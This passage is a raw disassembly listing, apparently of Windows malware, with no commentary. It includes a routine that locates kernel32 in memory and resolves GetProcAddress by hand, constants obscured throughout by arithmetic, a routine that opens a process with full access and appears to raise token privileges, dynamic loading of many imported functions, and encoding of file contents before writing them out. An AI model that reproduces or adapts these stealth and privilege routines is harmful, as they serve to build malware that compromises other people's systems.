		lea	eax, [ebp-110h]
		push	eax
		call	sub_425D7D


loc_4223EE:				; CODE XREF: .data:004223DBj
		push	0
		mov	eax, ds:10014134h
		sub	eax, 4
		push	eax
		push	4
		push	0
		movsx	eax, word ptr ds:10014130h
		movsx	edx, word ptr ds:10014098h
		add	eax, edx
		sub	eax, 7
		push	eax
		push	40000000h
		lea	eax, [ebp-110h]
		push	eax
		call	dword ptr ds:10013968h
		mov	[ebp-8], eax
		push	2
		push	0
		mov	eax, ds:10014174h
		sub	eax, 2
		push	eax
		push	dword ptr [ebp-8]
		call	dword ptr ds:10013D80h
		push	10014D89h
		call	sub_41B08F
		pop	ecx
		push	0
		lea	edx, [ebp-0Ch]
		push	edx
		mov	edx, ds:1001422Ch
		add	edx, ds:100140ECh
		sub	edx, 6
		push	edx
		push	eax
		push	dword ptr [ebp-8]
		call	dword ptr ds:10013D6Ch
		push	493E0h
		push	40h
		call	dword ptr ds:100109ECh
		mov	ebx, eax
		push	61A80h
		push	40h
		call	dword ptr ds:100109ECh
		mov	esi, eax
		mov	eax, ds:10014244h
		movsx	edx, word ptr ds:10014120h
		add	eax, edx
		sub	eax, 12h
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_4224AC
		mov	eax, [ebp+8]
		inc	eax
		push	eax
		push	ebx
		call	sub_425D7D
		jmp	short loc_4224B5
; ---------------------------------------------------------------------------


loc_4224AC:				; CODE XREF: .data:0042249Dj
		push	dword ptr [ebp+8]
		push	ebx
		call	sub_425D7D


loc_4224B5:				; CODE XREF: .data:004224AAj
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_4224BA:				; CODE XREF: .data:004224BFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4224BA
		mov	[ebp-4], eax
		mov	eax, ds:100141E8h
		mov	edi, eax
		add	edi, ds:1001409Ch
		sub	edi, 8
		jmp	short loc_4224FC
; ---------------------------------------------------------------------------


loc_4224D6:				; CODE XREF: .data:004224FFj
		movzx	eax, byte ptr [ebx+edi]
		mov	[ebp-114h], eax
		mov	eax, edi
		mul	edi
		mov	[ebp-118h], eax
		mov	eax, [ebp-114h]
		mov	edx, [ebp-118h]
		add	eax, edx
		mov	[ebx+edi], al
		inc	edi


loc_4224FC:				; CODE XREF: .data:004224D4j
		cmp	edi, [ebp-4]
		jb	short loc_4224D6
		mov	eax, ds:100140CCh
		add	eax, 61A76h
		add	eax, ds:100140A8h
		push	eax
		push	esi
		push	dword ptr [ebp-4]
		push	ebx
		call	sub_4247D1
		add	esp, 10h
		movsx	edi, word ptr ds:100140B8h
		sub	edi, 9
		jmp	short loc_422540
; ---------------------------------------------------------------------------


loc_42252B:				; CODE XREF: .data:0042254Ej
		cmp	byte ptr [esi+edi], 2Bh
		jnz	short loc_422535
		mov	byte ptr [esi+edi], 28h


loc_422535:				; CODE XREF: .data:0042252Fj
		cmp	byte ptr [esi+edi], 3Dh
		jnz	short loc_42253F
		mov	byte ptr [esi+edi], 29h


loc_42253F:				; CODE XREF: .data:00422539j
		inc	edi


loc_422540:				; CODE XREF: .data:00422529j
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_422545:				; CODE XREF: .data:0042254Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_422545
		cmp	edi, eax
		jb	short loc_42252B
		mov	eax, ds:100141B0h
		sub	eax, 7
		mov	edx, [ebp+8]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_42258E
		push	10014D84h
		call	sub_41B08F
		add	esp, 4
		push	0
		lea	edi, [ebp-0Ch]
		push	edi
		mov	edi, ds:1001422Ch
		add	edi, ds:100141E4h
		sub	edi, 4
		push	edi
		push	eax
		push	dword ptr [ebp-8]
		call	dword ptr ds:10013D6Ch


loc_42258E:				; CODE XREF: .data:0042255Fj
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_422593:				; CODE XREF: .data:00422598j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_422593
		push	0
		lea	edx, [ebp-0Ch]
		push	edx
		mov	edx, ds:10014140h
		add	edx, ds:10014158h
		sub	edx, 10h
		mov	edi, eax
		add	edi, edx
		push	edi
		push	esi
		push	dword ptr [ebp-8]
		call	dword ptr ds:10013D6Ch
		push	dword ptr [ebp-8]
		call	dword ptr ds:1001282Ch
		push	ebx
		call	dword ptr ds:100105CCh
		push	esi
		call	dword ptr ds:100105CCh
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, ds:100141E8h
		add	eax, ds:100141C8h
		sub	eax, 9
		cmp	ds:10013D8Ch, eax
		jbe	short loc_4225FE
		push	10013D8Ch
		call	dword ptr ds:1000D010h


loc_4225FE:				; CODE XREF: .data:004225F1j
		mov	eax, ds:10013D8Ch
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422607	proc near		; CODE XREF: .data:00424D93p

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_26C		= byte ptr -26Ch
var_252		= byte ptr -252h
var_23D		= byte ptr -23Dh
var_231		= byte ptr -231h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_21F		= byte ptr -21Fh
var_21C		= byte ptr -21Ch
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FE		= byte ptr -0FEh
var_FD		= byte ptr -0FDh
var_FC		= byte ptr -0FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ds:100140E0h
		add	esi, 6
		mov	ecx, esi
		add	ecx, ds:1001413Ch
		shr	edi, cl
		movsx	esi, word ptr ds:10014144h
		movsx	edx, word ptr ds:10014128h
		lea	esi, [esi+edx+2]
		mov	ecx, esi
		mov	ebx, edi
		shl	ebx, cl


loc_422641:				; CODE XREF: sub_422607+55j
					; sub_422607+98j ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_42265E
		mov	eax, ds:10014134h
		add	eax, 0FFFCh
		sub	ebx, eax
		jmp	short loc_422641
; ---------------------------------------------------------------------------


loc_42265E:				; CODE XREF: sub_422607+47j
		mov	eax, ds:10014184h
		add	eax, 38h
		add	eax, ds:100141D8h
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_118], edx
		mov	eax, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_4226A1
		movsx	eax, word ptr ds:1001411Ch
		mov	edx, ds:10014234h
		lea	eax, [eax+edx+0FFF9h]
		sub	ebx, eax
		jmp	short loc_422641
; ---------------------------------------------------------------------------


loc_4226A1:				; CODE XREF: sub_422607+80j
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_4226C8
		mov	eax, ds:100141A4h
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	loc_422641
; ---------------------------------------------------------------------------


loc_4226C8:				; CODE XREF: sub_422607+AEj
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_425D7D
		mov	eax, ds:10014168h
		add	eax, ds:100141F8h
		sub	eax, 0Fh
		mov	[ebp+var_4], eax
		jmp	short loc_42272A
; ---------------------------------------------------------------------------


loc_422708:				; CODE XREF: sub_422607+142j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 61h
		jle	short loc_422727
		cmp	al, 7Ah
		jge	short loc_422727
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_422727:				; CODE XREF: sub_422607+10Dj
					; sub_422607+111j
		inc	[ebp+var_4]


loc_42272A:				; CODE XREF: sub_422607+FFj
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_103]
		mov	edx, ds:10014188h
		movsx	ecx, word ptr ds:10014228h
		add	edx, ecx
		sub	edx, 0Dh
		cmp	eax, edx
		jnz	short loc_422708
		cmp	[ebp+var_103], 4Bh
		jnz	short loc_422781
		cmp	[ebp+var_102], 45h
		jnz	short loc_422781
		cmp	[ebp+var_101], 52h
		jnz	short loc_422781
		cmp	[ebp+var_FE], 4Ch
		jnz	short loc_422781
		cmp	[ebp+var_FD], 33h
		jnz	short loc_422781
		cmp	[ebp+var_FC], 32h
		jz	short loc_422786


loc_422781:				; CODE XREF: sub_422607+14Bj
					; sub_422607+154j ...
		jmp	loc_4229AE
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422607+178j
		mov	eax, ds:100140D4h
		movsx	edx, word ptr ds:1001412Ch
		add	eax, edx
		sub	eax, 8
		mov	[ebp+var_108], eax
		jmp	loc_422999
; ---------------------------------------------------------------------------


loc_4227A2:				; CODE XREF: sub_422607+3A1j
		mov	eax, [ebp+var_108]
		mov	ecx, ds:1001418Ch
		add	ecx, 3
		mul	ecx
		mov	[ebp+var_228], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+20h]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_224], edx
		push	edx
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_425D7D
		movsx	eax, word ptr ds:10014194h
		mov	edx, eax
		add	edx, ds:10014198h
		cmp	[ebp+edx+var_231], 47h
		jnz	loc_422993
		movsx	edx, word ptr ds:10014164h
		cmp	byte ptr [ebp+edx+var_224+3], 74h
		jnz	loc_422993
		mov	edx, ds:100140D4h
		cmp	[ebp+edx+var_21C], 50h
		jnz	loc_422993
		cmp	byte ptr [ebp+eax+var_224+2], 63h
		jnz	loc_422993
		mov	eax, ds:1001424Ch
		add	eax, ds:100141A4h
		cmp	byte ptr [ebp+eax+var_224+2], 41h
		jnz	loc_422993
		mov	eax, ds:100141A8h
		add	eax, ds:1001417Ch
		cmp	byte ptr [ebp+eax+var_228+2], 72h
		jnz	loc_422993
		mov	eax, [ebp+var_108]
		mov	ecx, ds:10014134h
		add	ecx, ds:100141E0h
		sub	ecx, 3
		mul	ecx
		mov	[ebp+var_288], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+24h]
		mov	[ebp+var_114], edx
		movzx	eax, word ptr [edx]
		mov	[ebp+var_22C], eax
		mov	ecx, ds:100140ACh
		add	ecx, ds:100140D4h
		dec	ecx
		mul	ecx
		mov	[ebp+var_28C], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_230], edx
		mov	ds:10014254h, ebx
		mov	ds:100101ACh, edx
		lea	edi, [ebp+var_23D]
		lea	esi, ds:10014794h
		mov	ecx, 0Dh
		rep movsb
		lea	edi, [ebp+var_252]
		lea	esi, ds:100147A1h
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_26C]
		lea	esi, ds:100147B6h
		mov	ecx, 0Dh
		rep movsw
		lea	edi, [ebp+var_281]
		lea	esi, ds:100147D0h
		mov	ecx, 15h
		rep movsb
		lea	eax, [ebp+var_23D]
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10013D70h, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1001383Ch, eax
		lea	eax, [ebp+var_26C]
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:1000EFB8h, eax
		lea	eax, [ebp+var_281]
		push	eax
		push	dword ptr ds:10014254h
		call	dword ptr ds:100101ACh
		mov	ds:10012824h, eax
		jmp	short loc_4229AE
; ---------------------------------------------------------------------------


loc_422993:				; CODE XREF: sub_422607+1F5j
					; sub_422607+20Aj ...
		inc	[ebp+var_108]


loc_422999:				; CODE XREF: sub_422607+196j
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_4227A2


loc_4229AE:				; CODE XREF: sub_422607:loc_422781j
					; sub_422607+38Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422607	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229B3	proc near		; CODE XREF: sub_41D305+24Cp

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:10014234h
		add	eax, ds:100140ACh
		sub	eax, 7
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4239D8
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	loc_422C07
		mov	[ebp+var_18], 8
		push	10014D74h
		call	sub_4230FC
		pop	ecx
		push	eax
		call	dword ptr ds:1000DFF8h
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_8]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		mov	eax, ds:10014104h
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_422BEB
		lea	eax, [ebp+var_3C]
		push	eax
		push	10015C54h
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100140ACh
		add	eax, ds:100140C0h
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_422BE2
		mov	[ebp+var_30], 2
		movsx	eax, word ptr ds:1001423Ch
		add	eax, ds:100140C0h
		sub	eax, 9
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_3C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, ds:1001415Ch
		add	eax, ds:10014094h
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_422BD9
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	10015C64h
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10014244h
		add	eax, ds:10014248h
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_422BD0
		inc	dword ptr ds:100105D0h
		mov	eax, ds:10014214h
		add	eax, 5
		movsx	edx, word ptr ds:100140B4h
		add	eax, edx
		cmp	ds:100105D0h, eax
		jb	short loc_422B23
		mov	eax, ds:1001410Ch
		add	eax, 0Ah
		mov	ds:100105D0h, eax
		push	[ebp+var_4]
		call	sub_41F5AB
		pop	ecx
		jmp	loc_422BC7
; ---------------------------------------------------------------------------


loc_422B23:				; CODE XREF: sub_4229B3+153j
		movsx	eax, word ptr ds:10014148h
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	dword ptr ds:10012814h
		call	sub_422C67
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	dword ptr ds:1000D018h
		call	sub_422C67
		add	esp, 10h
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_422B75
		cmp	[ebp+var_34], 0
		jz	short loc_422B75
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_34]
		call	sub_423202
		add	esp, 10h


loc_422B75:				; CODE XREF: sub_4229B3+1A5j
					; sub_4229B3+1ABj
		cmp	[ebp+var_40], 0
		jz	short loc_422B96
		cmp	[ebp+var_38], 0
		jz	short loc_422B96
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_40]
		push	[ebp+var_38]
		call	sub_423202
		add	esp, 10h


loc_422B96:				; CODE XREF: sub_4229B3+1C6j
					; sub_4229B3+1CCj
		push	[ebp+var_34]
		call	dword ptr ds:100105CCh
		push	[ebp+var_38]
		call	dword ptr ds:100105CCh
		movsx	eax, word ptr ds:10014148h
		add	eax, ds:100140A4h
		sub	eax, 7
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4239D8
		add	esp, 0Ch


loc_422BC7:				; CODE XREF: sub_4229B3+16Bj
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_422BD0:				; CODE XREF: sub_4229B3+130j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_422BD9:				; CODE XREF: sub_4229B3+FEj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_422BE2:				; CODE XREF: sub_4229B3+A2j
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_422BEB:				; CODE XREF: sub_4229B3+74j
		lea	eax, [ebp+var_18]
		push	eax
		call	dword ptr ds:10013D84h
		mov	eax, ds:10014118h
		add	eax, ds:100140A8h
		sub	eax, 0Ah
		cmp	ebx, eax
		jz	short $+2


loc_422C07:				; CODE XREF: sub_4229B3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4229B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_422C0C	proc near		; CODE XREF: .data:0041A7CCp
		push	edi
		push	10014D67h
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:1001426Ch, eax
		test	eax, eax
		jnz	short loc_422C3F
		push	10014D5Ch
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:1001426Ch, eax


loc_422C3F:				; CODE XREF: sub_422C0C+1Aj
		cmp	dword ptr ds:1001426Ch,	0
		jz	short loc_422C65
		push	10014D46h
		call	sub_41B08F
		pop	ecx
		push	eax
		push	dword ptr ds:1001426Ch
		call	dword ptr ds:100101ACh
		mov	ds:100105B4h, eax


loc_422C65:				; CODE XREF: sub_422C0C+3Aj
		pop	edi
		retn
sub_422C0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C67	proc near		; CODE XREF: .data:0041E790p
					; sub_4229B3+184p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	dword ptr ds:10013968h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_422CAA
		cmp	[ebp+arg_4], 0
		jz	short loc_422CA6
		mov	eax, [ebp+arg_4]
		movsx	edx, word ptr ds:100140E8h
		sub	edx, 4
		mov	[eax], edx


loc_422CA6:				; CODE XREF: sub_422C67+2Ej
		xor	eax, eax
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------


loc_422CAA:				; CODE XREF: sub_422C67+28j
		push	0
		push	edi
		call	dword ptr ds:100137F8h
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	dword ptr ds:100109ECh
		mov	ebx, eax
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_422CD3
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_422CD9
; ---------------------------------------------------------------------------


loc_422CD3:				; CODE XREF: sub_422C67+62j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_422CD9:				; CODE XREF: sub_422C67+6Aj
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	dword ptr ds:1000D02Ch
		push	edi
		call	dword ptr ds:1001282Ch
		mov	eax, ebx


loc_422CEE:				; CODE XREF: sub_422C67+41j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422CF3	proc near		; CODE XREF: .data:0041AA1Ap

var_68		= dword	ptr -68h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		call	sub_41B366
		or	eax, eax
		jnz	short loc_422D11
		mov	edi, ds:10014124h
		dec	edi
		jmp	loc_422EC1
; ---------------------------------------------------------------------------


loc_422D11:				; CODE XREF: sub_422CF3+10j
		call	dword ptr ds:100109F8h
		mov	ebx, eax
		push	ebx
		movsx	eax, word ptr ds:100141C0h
		sub	eax, 9
		push	eax
		push	1F0FFFh
		call	dword ptr ds:10013D7Ch
		mov	esi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		push	esi
		call	dword ptr ds:10010080h
		mov	edi, eax
		movsx	eax, word ptr ds:100140B4h
		add	eax, ds:10014108h
		sub	eax, 0Dh
		cmp	edi, eax
		jz	loc_422EC1
		mov	edx, ds:100140FCh
		add	edx, ds:10014104h
		mov	ecx, ds:10014198h
		sub	ecx, 9
		mov	[ebp+edx*4+var_68], ecx
		lea	eax, [ebp+var_40]
		push	eax
		push	28h
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, ds:100140E0h
		add	eax, 13h
		push	eax
		push	[ebp+var_4]
		call	dword ptr ds:100137F0h
		mov	edi, eax
		cmp	[ebp+arg_0], 0
		jz	short loc_422DDA
		mov	eax, ds:100140A4h
		sub	eax, 9
		cmp	edi, eax
		jnz	short loc_422DAE
		mov	edi, ds:10014174h
		dec	edi
		jmp	loc_422EC1
; ---------------------------------------------------------------------------


loc_422DAE:				; CODE XREF: sub_422CF3+ADj
		mov	edi, ds:100140C8h
		dec	edi
		mov	eax, ds:1001413Ch
		add	eax, ds:100141F8h
		sub	eax, 0Eh
		cmp	[ebp+var_3C], eax
		jz	loc_422EC1
		mov	edi, ds:1001419Ch
		sub	edi, 9
		jmp	loc_422EC1
; ---------------------------------------------------------------------------


loc_422DDA:				; CODE XREF: sub_422CF3+A1j
		cmp	dword ptr ds:10014284h,	0
		jnz	short loc_422DFB
		mov	eax, ds:100140FCh
		add	eax, 3FF9h
		push	eax
		push	40h
		call	dword ptr ds:100109ECh
		mov	ds:10014284h, eax


loc_422DFB:				; CODE XREF: sub_422CF3+EEj
		lea	eax, [ebp+var_40]
		push	eax
		mov	eax, ds:10014234h
		add	eax, 3FFDh
		push	eax
		push	dword ptr ds:10014284h
		push	1
		push	[ebp+var_4]
		call	dword ptr ds:100137F0h
		cmp	dword ptr ds:10014288h,	0
		jnz	short loc_422E33
		push	14h
		push	0
		call	dword ptr ds:100109ECh
		mov	ds:10014288h, eax


loc_422E33:				; CODE XREF: sub_422CF3+12Fj
		push	1
		push	dword ptr ds:10014288h
		call	dword ptr ds:1000DFF4h
		mov	edi, eax
		push	0
		push	0
		push	1
		push	dword ptr ds:10014288h
		call	dword ptr ds:100111E0h
		mov	edi, eax
		push	0
		mov	eax, ds:10014284h
		push	dword ptr [eax]
		push	dword ptr ds:10014288h
		call	dword ptr ds:100109E8h
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	10014D2Dh
		push	0
		call	dword ptr ds:1000D01Ch
		mov	edi, eax
		mov	eax, ds:100141ACh
		sub	eax, 5
		cmp	edi, eax
		jz	short loc_422EC1
		mov	eax, ds:100140DCh
		inc	eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], 2
		push	0
		push	0
		mov	eax, ds:1001414Ch
		add	eax, ds:10014178h
		sub	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	[ebp+var_4]
		call	dword ptr ds:10012810h
		mov	edi, eax


loc_422EC1:				; CODE XREF: sub_422CF3+19j
					; sub_422CF3+60j ...
		push	[ebp+var_4]
		call	dword ptr ds:1001282Ch
		push	esi
		call	dword ptr ds:1001282Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422CF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_422ED8	proc near		; CODE XREF: .data:0041AA26p
		push	2
		call	sub_41B78D
		push	0
		call	sub_41B78D
		add	esp, 8
		retn
sub_422ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422EEA	proc near		; CODE XREF: .data:00424DD8p
		push	edi
		push	10014D1Fh
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:10014258h, eax
		test	eax, eax
		jnz	short loc_422F1D
		push	10014D11h
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:10014258h, eax


loc_422F1D:				; CODE XREF: sub_422EEA+1Aj
		push	10014D07h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:1001380Ch, eax
		push	10014CFCh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:1000D034h, eax
		push	10014CF4h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:1000E008h, eax
		push	10014CECh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:100109F0h, eax
		push	10014CE2h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:100109E0h, eax
		push	10014CD8h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:10013828h, eax
		push	10014CCEh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:10012808h, eax
		push	10014CC4h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:10012818h, eax
		push	10014CBCh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:10013D90h, eax
		push	10014CB3h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:100137D0h, eax
		push	10014CA9h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:1000D024h, eax
		push	10014C9Eh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:10013810h, eax
		push	10014C92h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:10011210h, eax
		push	10014C88h
		call	sub_41B08F
		add	esp, 38h
		push	eax
		push	dword ptr ds:10014258h
		call	dword ptr ds:100101ACh
		mov	ds:100101A4h, eax
		pop	edi
		retn
sub_422EEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230AA	proc near		; CODE XREF: .data:0041A7D6p
		push	edi
		push	10014C79h
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:10014274h, eax
		test	eax, eax
		jnz	short loc_4230DD
		push	10014C6Ah
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:10014274h, eax


loc_4230DD:				; CODE XREF: sub_4230AA+1Aj
		push	10014C56h
		call	sub_41B08F
		pop	ecx
		push	eax
		push	dword ptr ds:10014274h
		call	dword ptr ds:100101ACh
		mov	ds:10010A00h, eax
		pop	edi
		retn
sub_4230AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FC	proc near		; CODE XREF: sub_41C00F+1C2p
					; sub_421545+1F7p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword ptr ds:10014250h,	0
		jnz	short loc_423124
